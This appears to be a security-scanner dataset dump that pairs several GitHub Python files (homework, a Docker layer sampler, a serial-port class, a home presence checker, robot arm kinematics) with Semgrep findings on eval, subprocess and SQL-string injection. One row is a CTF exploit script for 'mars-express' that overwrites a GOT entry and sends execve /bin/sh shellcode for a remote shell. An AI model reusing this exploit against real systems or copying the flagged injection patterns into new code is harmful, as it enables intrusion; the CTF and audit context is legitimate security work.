"https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 5 | true | [
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-system-call-audit",
"rules.python.lang.security.audit.dangerous-system-call-audit"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | [
89,
109
] | [
89,
109
] | [
13,
13
] | [
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27
] | [
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"A01:2017 - Injection"
] | [
"Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.",
"Found dynamic conte... | [
7.5,
7.5
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | GeneSippr.py | /GeneSippr.py | lowandrew/GeneSippr_Automator | MIT | |
2024-11-18T18:06:00.349183+00:00 | 1,592,291,030,000 | 9ea54ae4c590f4199e1d99b096429cbb0f1fb704 | 4 | {
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"detected_licenses": [
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],
"directory_id": "18c5d373e52fab2f0541f0b2b3fda5043910732b",
"extension": "py",
"filename": "4-最小公倍数.py",
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"is_vendor": false,
"language": "Python",
"length_bytes": 475,
"license": "MIT",
"license_type": "permissive",
"path": "/Week 6/4-最小公倍数.py",
"provenance": "stack-edu-0054.json.gz:568932",
"repo_name": "BleShi/PythonLearning-CollegeCourse",
"revision_date": 1592291030000,
"revision_id": "9a5439a243f0b1d509caaa996b2c1df4921140cb",
"snapshot_id": "a405bbae8538ef2a410fc63b1720b4f8121a1878",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/BleShi/PythonLearning-CollegeCourse/9a5439a243f0b1d509caaa996b2c1df4921140cb/Week 6/4-最小公倍数.py",
"visit_date": "2021-02-18T00:34:51.723717"
} | 3.984375 | stackv2 | # 用户输入两个正整数，求他们的最小公倍数。
num1 = eval(input("请输入第一个数字： "))
num2 = eval(input("请输入第二个数字： "))
if num1<= 0 or num2 <= 0:
print("两个数必须是正整数")
exit(0)
if num1>num2:
max=num1
min=num2
else:
max=num2
min=num1
for i in range(1,min+1):
numtemp=max*i
if numtemp % min == 0:
numresult=numtemp
break
print("最小公倍数是：",numresult) | 22 | 15.73 | 32 | 9 | 144 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_cd8d8c484902d7b2_21239cde", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 2, "line_end": 2, "column_start": 8, "column_end": 51, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/cd8d8c484902d7b2.py", "start": {"line": 2, "col": 8, "offset": 71}, "end": {"line": 2, "col": 51, "offset": 114}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_cd8d8c484902d7b2_96e7fced", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 3, "line_end": 3, "column_start": 8, "column_end": 51, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/cd8d8c484902d7b2.py", "start": {"line": 3, "col": 8, "offset": 122}, "end": {"line": 3, "col": 51, "offset": 165}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.use-sys-exit_cd8d8c484902d7b2_ef6a4234", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.use-sys-exit", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "remediation": "sys.exit(0)", "location": {"file_path": "unknown", "line_start": 7, "line_end": 7, "column_start": 5, "column_end": 12, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.use-sys-exit", "path": "/tmp/tmpb8jm_z1l/cd8d8c484902d7b2.py", "start": {"line": 7, "col": 5, "offset": 238}, "end": {"line": 7, "col": 12, "offset": 245}, "extra": {"message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "fix": "sys.exit(0)", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-95",
"CWE-95"
] | [
"rules.python.lang.security.audit.eval-detected",
"rules.python.lang.security.audit.eval-detected"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | [
2,
3
] | [
2,
3
] | [
8,
8
] | [
51,
51
] | [
"A03:2021 - Injection",
"A03:2021 - Injection"
] | [
"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.",
"Detected the use of eval(). eval() can be dangerous if used... | [
5,
5
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | 4-最小公倍数.py | /Week 6/4-最小公倍数.py | BleShi/PythonLearning-CollegeCourse | MIT | |
2024-11-18T18:06:00.458625+00:00 | 1,611,605,318,000 | a02298e2d7f53746fba252e49d71b05fb1c9cb54 | 2 | {
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"branch_name": "refs/heads/master",
"committer_date": 1611605318000,
"content_id": "42fd304e56fb47ec8b825138f0b5bc910fa9e4f5",
"detected_licenses": [
"ISC"
],
"directory_id": "2b8a258ba9e4c61efa87a7bdcde3f3584254bd5f",
"extension": "py",
"filename": "x.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 332870105,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3193,
"license": "ISC",
"license_type": "permissive",
"path": "/exploit/x.py",
"provenance": "stack-edu-0054.json.gz:568934",
"repo_name": "fausecteam/faustctf-2020-mars-express",
"revision_date": 1611605318000,
"revision_id": "a567a4b7ea41143dbd885ea270b7f36f34aed2d2",
"snapshot_id": "75c6e5757fdf9e9c3decd233c5d37c6be91bc167",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/fausecteam/faustctf-2020-mars-express/a567a4b7ea41143dbd885ea270b7f36f34aed2d2/exploit/x.py",
"visit_date": "2023-02-26T05:16:33.159313"
} | 2.46875 | stackv2 | #!/usr/bin/env python
"""Exploit script for mars-express."""
import subprocess
import sys
import os
import pwn
pwn.context.log_level = "info"
pwn.context.terminal = ["tmux", "splitw", "-p", "75"]
BINARY = "../src/mars-express"
HOST = "vulnbox-test.faust.ninja"
PORT = 8888
GDB_COMMANDS = []
MENU = """What do you want to do?"""
def add_wagon(proc, name: str, symbol: str = "x") -> None:
"""Adds a wagon to the train."""
proc.recvuntil(MENU)
proc.sendline("1")
proc.recvuntil("name: ")
proc.sendline(name)
proc.recvuntil("symbol: ")
proc.sendline(symbol)
def remove_wagon(proc, name: str) -> None:
"""Removes a wagon from the train."""
proc.recvuntil(MENU)
proc.sendline("2")
proc.recvuntil("wagon: ")
proc.sendline(name)
def exploit(proc, mode: str) -> None:
"""Exploit goes here."""
proc.recvuntil("> ")
proc.sendline("1")
proc.recvuntil("name:")
proc.sendline("some_random_name")
addr = pwn.context.binary.got["wclear"] - 8
pwn.log.info(f"addr = 0x{addr:08x}")
# These values depend on the build system, since the bss might starts at a different offset
add_wagon(proc, "a"*31)
add_wagon(proc, "a"*15)
add_wagon(proc, b"b"*8 + pwn.p32(addr) + b"\x20" + b"\0"*3 + b"b"*43)
add_wagon(proc, "c"*15)
add_wagon(proc, "e"*15)
add_wagon(proc, "f"*15)
remove_wagon(proc, "f"*15)
remove_wagon(proc, "e"*15)
add_wagon(proc, "g"*16)
add_wagon(proc, "h"*15)
if mode == "debug":
pwn.pause()
shellcode = "\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
shellcode = shellcode.ljust(0x1f, "\x90")
add_wagon(proc, shellcode)
if mode == "remote":
try:
proc.recvuntil("X", timeout=1)
except EOFError:
pwn.log.info("Remember to provide remote binary in 'src/mars-express'!")
return
# TODO: parse all trains.
proc.interactive()
def main() -> None:
"""Does general setup and calls exploit."""
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <mode>")
sys.exit(0)
env = os.environ.copy()
try:
pwn.context.binary = pwn.ELF(BINARY)
except IOError:
print(f"Failed to load binary ({BINARY})")
mode = sys.argv[1]
env["TERM"] = "ansi77"
env["COLUMNS"] = "40"
env["ROWS"] = "20"
if mode == "local":
proc = pwn.process(BINARY, env=env)
elif mode == "debug":
proc = pwn.process(BINARY, env=env)
gdb_cmd = ["tmux",
"split-window",
"-p",
"75",
"gdb",
BINARY,
str(proc.pid),
]
for cmd in GDB_COMMANDS:
gdb_cmd.append("-ex")
gdb_cmd.append(cmd)
gdb_cmd.append(BINARY)
subprocess.Popen(gdb_cmd)
elif mode == "local_hosted":
proc = pwn.remote("localhost", PORT)
elif mode == "remote":
proc = pwn.remote(HOST, PORT)
else:
print("Invalid mode")
sys.exit(1)
exploit(proc, mode)
if __name__ == "__main__":
main()
| 144 | 21.17 | 98 | 13 | 957 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_5fbea8111a456e96_e3778d23", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 129, "line_end": 129, "column_start": 9, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/5fbea8111a456e96.py", "start": {"line": 129, "col": 9, "offset": 2897}, "end": {"line": 129, "col": 34, "offset": 2922}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
129
] | [
129
] | [
9
] | [
34
] | [
"A01:2017 - Injection"
] | [
"Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."
] | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | x.py | /exploit/x.py | fausecteam/faustctf-2020-mars-express | ISC | |
2024-11-18T18:06:02.252388+00:00 | 1,608,557,697,000 | 3054934136b078311cd7cb03154364ec20d14bfa | 3 | {
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"committer_date": 1608557697000,
"content_id": "7b40ba0dab867de21b545e3364e008d2089357eb",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "c033a814d418b10d1c8a3f739c410a1cf8f8d212",
"extension": "py",
"filename": "celloud_mysql.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 32963181,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 982,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/celloud/celloud_mysql.py",
"provenance": "stack-edu-0054.json.gz:568950",
"repo_name": "sdyz5210/python",
"revision_date": 1608557697000,
"revision_id": "78f9999f94d92d9ca7fde6f18acec7d3abd422ef",
"snapshot_id": "171c63aace26d6134fb470bd18c9bd25fea15e0b",
"src_encoding": "UTF-8",
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"visit_date": "2020-12-30T15:43:48.630610"
} | 2.78125 | stackv2 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import MySQLdb
def readInput(inputFile):
newlines = []
with open(inputFile,"r") as f:
lines = f.readlines()
for line in lines:
fileName = line.split(",")[0]
dataKey = line.split(",")[1]
result = getTaskId(dataKey)
newlines.append(line.strip()+","+str(result)+"\n")
writeOutput("data_1.txt",newlines)
def writeOutput(outputFile,lines):
with open(outputFile,'a') as f:
for line in lines:
f.write(line)
f.flush()
def getTaskId(dataKey):
#打开数据库连接
db = MySQLdb.connect('localhost','root','password','dbName')
#获取操作游标
cursor = db.cursor()
#执行sql语句
sql = 'select task_id from tb_task where data_key='+dataKey
try:
cursor.execute(sql)
result = cursor.fetchone()
return result[0]
except Exception, e:
db.rollback()
raise e
finally:
#关闭数据库连接
db.close()
if __name__ == '__main__':
inputFile = "data.txt"
#第一步
#readInput(inputFile)
| 45 | 19.64 | 61 | 16 | 273 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_1ec1719d09d8fa92_18ae5a75", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 8, "line_end": 8, "column_start": 7, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/1ec1719d09d8fa92.py", "start": {"line": 8, "col": 7, "offset": 110}, "end": {"line": 8, "col": 26, "offset": 129}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_1ec1719d09d8fa92_bf664526", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 18, "line_end": 18, "column_start": 7, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/1ec1719d09d8fa92.py", "start": {"line": 18, "col": 7, "offset": 410}, "end": {"line": 18, "col": 27, "offset": 430}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. 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"CWE-89"
] | [
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
31
] | [
31
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7.5
] | [
"LOW"
] | [
"HIGH"
] | celloud_mysql.py | /celloud/celloud_mysql.py | sdyz5210/python | BSD-3-Clause | |
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} | 2.78125 | stackv2 | import sys
import os
from os.path import stat
from argparse import ArgumentParser
import pickle
layer_files = ["/home/nannan/dockerimages/layers/hulk1/hulk1_layers_less_1g.lst"]#, "/home/nannan/dockerimages/layers/hulk4/hulk4_layers_less_1g.lst"]
out_dir = "/home/nannan/dockerimages/layers/hulk1/"
stored_dat_file = os.getcwd() + "/lyr_size.pkl"
#df_num = 160
def setup():
print 'entered setup mode, now collecting layer size information...'
layer_size_dict = {}
lyrs = []
lyr_failed = []
for lyr_f in layer_files:
with open(lyr_f, 'r') as f:
content = f.readlines()
lyrs.extend([x.strip() for x in content])
for lyr in lyrs:
try:
size = os.stat(lyr).st_size
layer_size_dict[lyr] = size
except:
lyr_failed.append(lyr)
print 'info collection complete.'
print 'successfully identified ' + str(len(lyrs)) + ' lyrs'
print 'failed to get the size of ' + str(len(lyr_failed)) + ' layer files, dump:'
print lyr_failed
print 'now writing results to pickle file in current directory...'
with open(stored_dat_file, 'wb') as f:
pickle.dump(layer_size_dict, f, pickle.HIGHEST_PROTOCOL)
def sampling(layer_size_dict, size):
print 'collecting all layers with size close to ' + str(size) + ' MB...'
res = {}
cap = size * 1.1
floor = size * 0.9
if size == 1:
floor = 0
for lyr, lyr_size in layer_size_dict.items():
mb_size = lyr_size / 1024 / 1024
if mb_size <= cap and mb_size >= floor :
res[lyr] = lyr_size
result = sorted(res, key=res.__getitem__)
print 'found ' + str(len(result)) + ' layers satisfying the size requirement.'
print 'writing layer list to hulk1...'
#print str(res[result[0]])
#print str(res[result[1]])
#print str(res[result[-1]])
with open(out_dir+'hulk_layers_approx_'+str(size)+'MB.lst', 'w') as f:
for lyr in result:
f.write("%s\n" % lyr)
def main():
print 'WARNING: the current running version is tuned for layers no more than 50M.'
print 'WARNING: now assuming static input output directories (hardcoded)'
parser = ArgumentParser(description='allow customized sampling args.')
parser.add_argument('-c', '--command', dest='command', type=str, required=True,
help = 'Mode command. Possible commands: setup, sample.')
#parser.add_argument('-n', '--number', dest='number', type=int, required=False,
# help = 'For sampling only. Specify number of layers wanted.')
parser.add_argument('-size', '--size', dest='size', type=int, required=False,
help = 'For sampling only. Specify layer size limit.')
args = parser.parse_args()
if args.command == 'setup':
setup()
elif args.command == 'sample':
if args.size == None:
print 'size not specified, quit'
exit(-1)
print 'attempting to populate layer:size dictionary...'
try:
with open(stored_dat_file, 'rb') as f:
layer_size_dict = pickle.load(f)
except:
print 'unable to read the stored layer:size file'
exit(-1)
print 'successfully read in ' + str(len(layer_size_dict)) + ' layers, now sampling...'
for i in range(60, 210, 10):
#print i
sampling(layer_size_dict, i)#args.size)
if __name__ == "__main__":
main()
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] | layer_sampler.py | /layer_sampler.py | nnzhaocs/docker-performance | Apache-2.0 | |
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} | 3.125 | stackv2 | import serial
import time
import serial.tools.list_ports
class SerialDevice(object):
def __init__(self, baudrate = None, port = None, maxtime = None):
try:
self.Serial = serial.Serial()
if maxtime:
self.maxtime = maxtime
else:
self.maxtime = 60
#check and assign baudrate
if baudrate is not None:
self.baudrate = baudrate
self.Serial.baudrate = baudrate
else:
self.baudrate = 115200
self.Serial.baudrate = 115200
#check and sassign port
if port is not None:
self.port = port
else:
self.ports = list(serial.tools.list_ports.comports())
self.port = self.ports[0].device
self.Serial.port = self.ports[0].device
# set timeout and open serial settings
self.Serial.timeout = 10
self.Serial.open()
except serial.SerialException: # for some reason 'no backend available error can arise.
print(serial.SerialException)
def isAvailabale(self):
try:
if self.Serial.isOpen(): #Opens SerialPort
return True
return False
except serial.SerialException: # for some reason 'no backend available error can arise.
return False
def read_serial_data(self, time):
data = []
if time is not None:
self.maxtime = time
start_time = time.time()
while (time.time() - start_time) < self.maxtime:
line_data = self.Serial.readline()
print(line_data)
data.append(line_data)
return data
def write(self, message = None):
if self.Serial.is_open and message is not None:
self.Serial.write(message)
if __name__ == '__main__':
port = None
baudrate = None
maxtime = None
device = SerialDevice(baudrate, port, maxtime)
if device.isAvailabale():
device.write('b')
device.read_serial_data(maxtime)
device.write('b')
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] | main.py | /main.py | KarthikGangadhar/pyserial-uart-connect | MIT | |
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} | 2.828125 | stackv2 | #!/usr/bin/env python3
import sqlite3
from subprocess import check_output, CalledProcessError
from time import time
from re import findall
from sys import argv
from pprint import pprint
path = "/home/kevin/homeChecker/home.db"
def getOnlineClients():
try:
arpOutput = check_output("sudo arp-scan -l", shell=True)
arpOutput = arpOutput.decode()
macAdr = findall('(([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2}))', arpOutput)
return [i[0] for i in macAdr]
except CalledProcessError:
print("Not able to run 'arp-scan -l' on this machine.")
exit(0)
def getAddr(c):
c.execute('SELECT adr FROM clients')
return [i[0] for i in c.fetchall()]
def getTimes():
conn = sqlite3.connect(path)
c = conn.cursor()
c.execute('SELECT c.name, l.timesince FROM lastonline AS l JOIN clients AS c WHERE l.clientadr=c.adr')
returnList = []
for name, time in c.fetchall():
returnList.append({"name": name, "time": convertTime(time)})
conn.close()
return returnList
def convertTime(seconds):
if not isinstance(seconds, (int, float)):
return 'Null'
delta = int(time() - seconds)
if delta >= 86400:
return str(delta//86400) + ' days'
elif delta >= 3600:
if delta//3600 < 10:
parent = str(delta//3600)
child = str((delta - (3600 * (delta//3600)))//60)
if len(child) == 1:
child = '0' + child
return parent + ':' + child + ' hours'
else:
return str(delta//3600) + ' hours'
elif delta >= 60:
return str(delta//60) + ' minutes'
else:
return str(delta) + ' seconds'
def updateTimes():
curTime = time()
conn = sqlite3.connect(path)
c = conn.cursor()
online = list(set(getOnlineClients()) & set(getAddr(c)))
for adr in online:
c.execute('UPDATE lastonline SET timesince='+ "%0.2f" % curTime +' WHERE clientadr="'+ adr + '"')
conn.commit()
conn.close()
return (online)
if __name__ == '__main__':
if argv[-1] == 'get':
pprint(getTimes())
else:
print("Updated following clients:", updateTimes())
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} | 3.265625 | stackv2 | import numpy as np
from math import *
def UpperHalfTrans(x,Theta):
#joint angles
LShoulderPitch = Theta[0]
LShoulderRoll = Theta[1]
RShoulderPitch = Theta[2]
RShoulderRoll = Theta[3]
LElbowYaw = Theta[4]
LElbowRoll = Theta[5]
RElbowYaw = Theta[6]
RElbowRoll = Theta[7]
#Shoulder:x[0]: right x[1]: left
#Elbow:x[2]: right, x[3]: left
#hand:x[4]: right, x[5]: left
#Rotation matrix
LShoulderPitchM = np.array([[cos(LShoulderPitch), 0, sin(LShoulderPitch)],
[0, 1, 0],
[-sin(LShoulderPitch), 0, cos(LShoulderPitch)]])
LShoulderRollM = np.array([[1, 0, 0],
[0, cos(LShoulderRoll), sin(LShoulderRoll)],
[0, -sin(LShoulderRoll), cos(LShoulderRoll)]])
RShoulderPitchM = np.array([[cos(RShoulderPitch), 0, sin(RShoulderPitch)],
[0, 1, 0],
[-sin(RShoulderPitch), 0, cos(RShoulderPitch)]])
RShoulderRollM = np.array([[1, 0, 0],
[0, cos(RShoulderRoll), sin(RShoulderRoll)],
[0, -sin(RShoulderRoll), cos(RShoulderRoll)]])
LElbowYawM = np.array([[cos(LElbowYaw), -sin(LElbowYaw), 0],
[sin(LElbowYaw), cos(LElbowYaw), 0],
[0, 0, 1]])
LElbowRollM = np.array([[cos(LElbowRoll), 0, sin(LElbowRoll)],
[0, 1, 0],
[-sin(LElbowRoll), 0, cos(LElbowRoll)]])
RElbowYawM = np.array([[cos(RElbowYaw), -sin(RElbowYaw), 0],
[sin(RElbowYaw), cos(RElbowYaw), 0],
[0, 0, 1]])
RElbowRollM = np.array([[cos(RElbowRoll), 0, sin(RElbowRoll)],
[0, 1, 0],
[-sin(RElbowRoll), 0, cos(RElbowRoll)]])
#x[2]
x[2] = np.dot(RShoulderRollM, np.dot(RShoulderPitchM, (x[2] - x[0]))) + x[0]
#x[3]
x[3] = np.dot(LShoulderRollM, np.dot(LShoulderPitchM, (x[3] - x[1]))) + x[1]
#x[4]
x[4] = np.dot(RShoulderRollM, np.dot(RShoulderPitchM, (x[4] - x[0]))) + x[0]
x[4] = np.dot(RElbowRollM, np.dot(RElbowYawM, x[4] - x[2])) + x[2]
#x[5]
